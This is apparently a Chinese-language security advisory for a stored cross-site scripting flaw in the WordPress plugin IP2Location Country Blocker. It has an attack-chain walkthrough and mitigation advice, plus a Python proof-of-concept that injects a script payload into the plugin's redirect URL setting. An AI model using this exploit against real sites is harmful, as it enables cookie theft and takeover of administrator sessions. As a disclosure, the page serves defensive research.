IPBUF安全漏洞报告
English
CVE-2022-50961 CVSS 6.4 中危

CVE-2022-50961 WP插件存储型XSS漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2022-50961
漏洞类型
存储型跨站脚本攻击
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Plugin IP2Location Country Blocker

相关标签

XSSWordPressStored XSSIP2Location Country BlockerCWE-79

漏洞概述

WordPress插件IP2Location Country Blocker 2.26.7版本存在存储型XSS漏洞。低权限用户可通过前端设置界面的URL字段注入恶意脚本,当管理员访问插件设置页面时触发执行,从而导致会话劫持或权限提升。

技术细节

该漏洞源于插件在处理“Display page settings”中的URL字段时,未对用户输入进行充分的过滤和上下文感知的输出编码。攻击者拥有低权限账户即可在此字段植入恶意的JavaScript代码。由于是存储型XSS,恶意代码会被持久化保存在数据库中。当管理员或其他具有更高权限的用户访问该插件的设置页面时,浏览器会解析并执行这段脚本。攻击者可利用此漏洞窃取管理员的Cookie、进行钓鱼攻击或以管理员身份执行未授权操作。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个WordPress网站的低权限账户(如订阅者或编辑者)。
STEP 2
步骤2
攻击者登录后台,导航至IP2Location Country Blocker插件的前端设置页面。
STEP 3
步骤3
攻击者在“Display page settings”的URL字段中输入包含恶意JavaScript的Payload并保存。
STEP 4
步骤4
管理员或其他高权限用户访问该插件的设置页面。
STEP 5
步骤5
页面加载时未过滤的恶意脚本在管理员的浏览器中执行,窃取敏感信息或执行操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit Title: WordPress IP2Location Country Blocker < 2.26.8 Stored XSS PoC # Description: Inject script into the 'URL' field in 'Display page settings' import requests target_url = "http://target.com/wp-admin/admin.php?page=ip2location-country-blocker-frontend-settings" # Authenticated low-privileged user cookies cookies = { "wordpress_logged_in_xxx": "your_session_cookie_here" } # Malicious payload to be injected xss_payload = '"><script>alert(document.cookie);</script>' # Data payload mimicking the form submission form_data = { "ip2location_country_blocker_frontend_settings[redirect_url]": xss_payload, "submit": "Save Changes" } try: response = requests.post(target_url, cookies=cookies, data=form_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[*] Check the plugin settings page as an Admin to verify the XSS.") else: print("[-] Failed to inject payload.") except Exception as e: print(f"Error: {e}")

影响范围

IP2Location Country Blocker <= 2.26.7

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件,或者通过Web应用防火墙(WAF)规则拦截针对插件设置页面的异常输入请求,直到应用补丁。

参考链接